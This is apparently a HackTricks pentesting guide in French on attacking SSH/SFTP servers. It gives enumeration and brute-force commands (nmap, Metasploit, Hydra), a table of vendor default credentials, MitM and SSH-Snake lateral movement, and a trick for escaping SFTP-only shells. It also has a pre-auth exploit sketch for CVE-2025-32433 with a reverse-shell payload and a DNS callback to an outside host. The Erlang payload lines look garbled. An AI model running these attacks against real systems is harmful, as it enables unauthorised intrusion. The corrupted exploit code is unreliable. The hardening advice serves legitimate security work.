22 - Pentesting SSH/SFTP

Reading time: 17 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

SSH (Secure Shell or Secure Socket Shell) est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accÚs à des systÚmes distants.

Port par défaut : 22

22/tcp open  ssh     syn-ack

Serveurs SSH :

  • openSSH – OpenBSD SSH, fourni dans BSD, les distributions Linux et Windows depuis Windows 10
  • Dropbear – implĂ©mentation SSH pour environnements Ă  faibles ressources mĂ©moire et processeur, fournie dans OpenWrt
  • PuTTY – implĂ©mentation SSH pour Windows ; le client est couramment utilisĂ© mais l'usage du serveur est plus rare
  • CopSSH – implĂ©mentation d'OpenSSH pour Windows

BibliothÚques SSH (implémentant la partie serveur) :

  • libssh – bibliothĂšque C multiplateforme implĂ©mentant le protocole SSHv2 avec des bindings en Python, Perl et R ; elle est utilisĂ©e par KDE pour sftp et par GitHub pour l'infrastructure git SSH
  • wolfSSH – bibliothĂšque serveur SSHv2 Ă©crite en ANSI C et destinĂ©e aux environnements embarquĂ©s, RTOS et Ă  ressources limitĂ©es
  • Apache MINA SSHD – la bibliothĂšque Java Apache SSHD est basĂ©e sur Apache MINA
  • paramiko – bibliothĂšque Python du protocole SSHv2

ÉnumĂ©ration

bash
nc -vn <IP> 22

ssh-audit automatisé

ssh-audit est un outil d'audit de configuration pour serveurs et clients ssh.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Fonctionnalités :

  • prise en charge des serveurs utilisant les protocoles SSH1 et SSH2 ;
  • analyser la configuration du client SSH ;
  • rĂ©cupĂ©rer la banniĂšre, reconnaĂźtre l'appareil ou le logiciel et le systĂšme d'exploitation, dĂ©tecter la compression ;
  • rassembler les algorithmes d'Ă©change de clĂ©s, host-key, chiffrement et message authentication code ;
  • afficher des informations sur les algorithmes (disponible depuis, supprimĂ©/dĂ©sactivĂ©, non sĂ»r/faible/obsolĂšte, etc.) ;
  • afficher des recommandations d'algorithmes (ajouter ou supprimer selon la version du logiciel reconnue) ;
  • afficher des informations de sĂ©curitĂ© (problĂšmes liĂ©s, liste des CVE assignĂ©s, etc.) ;
  • analyser la compatibilitĂ© des versions SSH en se basant sur les informations des algorithmes ;
  • informations historiques provenant de OpenSSH, Dropbear SSH et libssh ;
  • fonctionne sur Linux et Windows ;
  • sans dĂ©pendances
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Clé SSH publique du serveur

bash
ssh-keyscan -t rsa <IP> -p <PORT>

Algorithmes de chiffrement faibles

Cela est détecté par défaut par nmap. Mais vous pouvez aussi utiliser sslcan ou sslyze.

Nmap scripts

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

Dans certaines versions d'OpenSSH, vous pouvez réaliser une timing attack pour enumerate users. Vous pouvez utiliser un module metasploit pour exploiter ceci :

msf> use scanner/ssh/ssh_enumusers

Brute force

Quelques identifiants ssh courants here et here et ci-dessous.

Private Key Brute Force

Si vous connaissez des ssh private keys qui pourraient ĂȘtre utilisĂ©es... tentons. Vous pouvez utiliser le script nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou le module auxiliaire MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Ou utilisez ssh-keybrute.py (python3 natif, léger et avec les algorithmes legacy activés) : snowdroppe/ssh-keybrute.

Les badkeys connues se trouvent ici :

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Clés SSH faibles / PRNG prévisible sur Debian

Certains systĂšmes prĂ©sentent des failles connues dans la graine alĂ©atoire utilisĂ©e pour gĂ©nĂ©rer le matĂ©riel cryptographique. Cela peut conduire Ă  un espace de clĂ©s drastiquement rĂ©duit, susceptible d'ĂȘtre bruteforcĂ©. Des jeux de clĂ©s prĂ©-gĂ©nĂ©rĂ©s, produits sur des systĂšmes Debian affectĂ©s par un PRNG faible, sont disponibles ici : g0tmi1k/debian-ssh.

Vous devriez consulter ces ressources pour rechercher des clés valides pour la machine cible.

Kerberos / GSSAPI SSO

Si le serveur SSH cible prend en charge GSSAPI (par exemple Windows OpenSSH sur un contrĂŽleur de domaine), vous pouvez vous authentifier en utilisant votre Kerberos TGT au lieu d'un mot de passe.

Flux de travail depuis un hĂŽte attaquant Linux :

bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Remarques:

  • Si vous vous connectez avec le mauvais nom (par ex., nom court, alias, ou mauvais ordre dans /etc/hosts), vous pouvez obtenir : "Server not found in Kerberos database" parce que le SPN ne correspond pas.
  • crackmapexec ssh --kerberos peut aussi utiliser votre ccache pour Kerberos auth.

Identifiants par défaut

FournisseurNoms d'utilisateurMots de passe
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

Si vous ĂȘtes sur le rĂ©seau local de la victime qui va se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pouvez essayer de rĂ©aliser une attaque MitM pour voler ces identifiants :

Chemin d'attaque :

  • Redirection du trafic : L'attaquant dĂ©tourne le trafic de la victime vers sa machine, interceptant ainsi la tentative de connexion au serveur SSH.
  • Interception et journalisation : La machine de l'attaquant joue le rĂŽle de proxy, capturant les identifiants de connexion de l'utilisateur en se faisant passer pour le serveur SSH lĂ©gitime.
  • ExĂ©cution de commandes et relais : Enfin, le serveur de l'attaquant enregistre les identifiants, transmet les commandes au vrai serveur SSH, les exĂ©cute, et renvoie les rĂ©sultats Ă  l'utilisateur, rendant le processus transparent et lĂ©gitime.

SSH MITM fait exactement ce qui est décrit ci-dessus.

Pour effectuer le MitM proprement dit, vous pouvez utiliser des techniques comme ARP spoofing, DNS spoofin ou d'autres décrites dans les Network Spoofing attacks.

SSH-Snake

Si vous souhaitez traverser un réseau en utilisant des clés privées SSH découvertes sur des systÚmes, en utilisant chaque clé privée sur chaque systÚme pour accéder à de nouveaux hÎtes, alors SSH-Snake est ce qu'il vous faut.

SSH-Snake effectue automatiquement et de maniÚre récursive les tùches suivantes :

  1. Sur le systÚme courant, trouver toutes les clés privées SSH,
  2. Sur le systĂšme courant, trouver tous les hĂŽtes ou destinations (user@host) oĂč les clĂ©s privĂ©es peuvent ĂȘtre acceptĂ©es,
  3. Tenter de SSH vers toutes les destinations en utilisant toutes les clés privées découvertes,
  4. Si une destination est connectée avec succÚs, répéter les étapes #1 - #4 sur le systÚme connecté.

C'est entiĂšrement auto-rĂ©plicatif et auto-propagatif — et totalement fileless.

Mauvaises configurations

Connexion root

Il est courant que les serveurs SSH autorisent la connexion du user root par dĂ©faut, ce qui constitue un risque de sĂ©curitĂ© important. DĂ©sactiver la connexion root est une Ă©tape critique pour sĂ©curiser le serveur. L'accĂšs non autorisĂ© avec des privilĂšges administratifs et les attaques par brute force peuvent ĂȘtre attĂ©nuĂ©s en appliquant ce changement.

Pour désactiver la connexion root dans OpenSSH :

  1. Éditez le fichier de config SSH avec : sudoedit /etc/ssh/sshd_config
  2. Changez la ligne de #PermitRootLogin yes Ă  PermitRootLogin no.
  3. Rechargez la configuration en utilisant : sudo systemctl daemon-reload
  4. Redémarrez le serveur SSH pour appliquer les changements : sudo systemctl restart sshd

SFTP Brute Force

Exécution de commandes via SFTP

Il existe une erreur courante dans les configurations SFTP, oĂč les administrateurs veulent que les utilisateurs Ă©changent des fichiers sans activer l'accĂšs shell distant. MalgrĂ© le fait d'attribuer aux utilisateurs des shells non-interactifs (par ex., /usr/bin/nologin) et de les confiner Ă  un rĂ©pertoire spĂ©cifique, une faille de sĂ©curitĂ© subsiste. Les utilisateurs peuvent contourner ces restrictions en demandant l'exĂ©cution d'une commande (comme /bin/bash) immĂ©diatement aprĂšs la connexion, avant que leur shell non-interactif ne prenne effet. Cela permet une exĂ©cution de commandes non autorisĂ©e, sapant les mesures de sĂ©curitĂ© prĂ©vues.

Example from here:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Voici un exemple de configuration SFTP sĂ©curisĂ©e (/etc/ssh/sshd_config – openSSH) pour l'utilisateur noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Cette configuration autorisera uniquement SFTP : elle désactive l'accÚs shell en forçant la commande de démarrage et l'accÚs TTY, tout en bloquant tout type de port forwarding ou tunneling.

SFTP Tunneling

Si vous avez accÚs à un serveur SFTP, vous pouvez également acheminer votre trafic via celui-ci, par exemple en utilisant le port forwarding classique :

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

Le sftp possĂšde la commande "symlink". Par consĂ©quent, si vous avez des droits d'Ă©criture dans un dossier, vous pouvez crĂ©er des symlinks de d'autres dossiers/fichiers. Comme vous ĂȘtes probablement confinĂ© Ă  l'intĂ©rieur d'un chroot, cela ne vous sera pas particuliĂšrement utile, mais, si vous pouvez accĂ©der au symlink créé depuis un no-chroot service (par exemple, si vous pouvez accĂ©der au symlink depuis le web), vous pourriez ouvrir les fichiers pointĂ©s par le symlink via le web.

Par exemple, pour créer un symlink depuis un nouveau fichier "froot" vers "/":

bash
sftp> symlink / froot

Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du systÚme.

Méthodes d'authentification

Dans un environnement hautement sécurisé, il est courant d'activer uniquement l'authentification basée sur des clés ou l'authentification à deux facteurs plutÎt que la simple authentification par mot de passe. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les méthodes moins sûres. Un cas fréquent est d'activer publickey dans la configuration openSSH et de le définir comme méthode par défaut sans désactiver password. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode moins sûre est activée :

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Par exemple, si une limite d'échecs d'authentification est définie et que vous n'avez jamais l'occasion d'atteindre la méthode password, vous pouvez utiliser l'option PreferredAuthentications pour forcer l'utilisation de cette méthode.

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Il est nécessaire d'examiner la configuration du serveur SSH pour vérifier que seules les méthodes attendues sont autorisées. L'utilisation du mode verbeux cÎté client peut aider à évaluer l'efficacité de la configuration.

Fichiers de configuration

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Plusieurs implémentations de serveurs SSH présentent des défauts logiques dans la authentication finite-state machine qui permettent à un client d'envoyer des messages connection-protocol avant la fin de l'authentification. Parce que le serveur ne vérifie pas qu'il est dans l'état correct, ces messages sont traités comme si l'utilisateur était entiÚrement authentifié, conduisant à unauthenticated code execution ou à la création de session.

Au niveau du protocole, tout message SSH avec un message code ≄ 80 (0x50) appartient Ă  la couche connection (RFC 4254) et ne doit ĂȘtre acceptĂ© qu'aprĂšs une authentification rĂ©ussie (RFC 4252). Si le serveur traite l'un de ces messages alors qu'il se trouve encore dans l'Ă©tat SSH_AUTHENTICATION, l'attaquant peut immĂ©diatement crĂ©er un channel et demander des actions telles que command execution, port-forwarding, etc.

Étapes gĂ©nĂ©riques d'exploitation

  1. Établir une connexion TCP vers le port SSH de la cible (gĂ©nĂ©ralement 22, mais d'autres services peuvent exposer Erlang/OTP sur 2022, 830, 2222
).
  2. Construire un paquet SSH brut :
  • 4 octets packet_length (big-endian)
  • 1 octet message_code ≄ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload compatible avec le type de message choisi
  1. Envoyer le(s) paquet(s) avant d'avoir terminé toute étape d'authentification.
  2. Interagir avec les APIs du serveur qui sont maintenant exposées pre-auth (command execution, port-forwarding, file-system access, 
).

Esquisse d'une preuve de concept en Python :

python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# 
 key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En pratique, vous devrez effectuer (ou ignorer) le key-exchange selon l'implémentation cible, mais no authentication n'est jamais effectuée.


Erlang/OTP sshd (CVE-2025-32433)

  • Versions affectĂ©es : OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Cause racine : le daemon SSH natif d'Erlang ne vĂ©rifie pas l'Ă©tat courant avant d'invoquer ssh_connection:handle_msg/2. Par consĂ©quent, tout paquet avec un code de message 80-255 atteint le gestionnaire de connexion alors que la session est encore dans l'Ă©tat userauth.
  • Impact : unauthenticated remote code execution (le daemon tourne gĂ©nĂ©ralement en tant que root sur des appareils embedded/OT).

Exemple de payload qui génÚre un reverse shell lié au attacker-controlled channel:

erlang
% open a channel first 
 then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection peut ĂȘtre effectuĂ©e via DNS:

erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Détection et atténuation :

  • Inspecter le trafic SSH : rejeter tout paquet avec un code de message ≄ 80 observĂ© avant l'authentification.
  • Mettre Ă  niveau Erlang/OTP vers 27.3.3 / 26.2.5.11 / 25.3.2.20 ou une version ultĂ©rieure.
  • Restreindre l'exposition des ports de gestion (22/2022/830/2222) – en particulier sur les Ă©quipements OT.

Autres implémentations affectées

  • libssh 0.6 – 0.8 (server side) – CVE-2018-10933 – accepte un SSH_MSG_USERAUTH_SUCCESS non authentifiĂ© envoyĂ© par le client, constituant effectivement le dĂ©faut logique inverse.

La leçon commune est que tout Ă©cart par rapport aux transitions d'Ă©tat imposĂ©es par le RFC peut ĂȘtre fatal ; lors de la revue ou du fuzzing des daemons SSH, accordez une attention particuliĂšre Ă  l'application de la machine d'Ă©tat.

Références

HackTricks Commandes automatiques

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks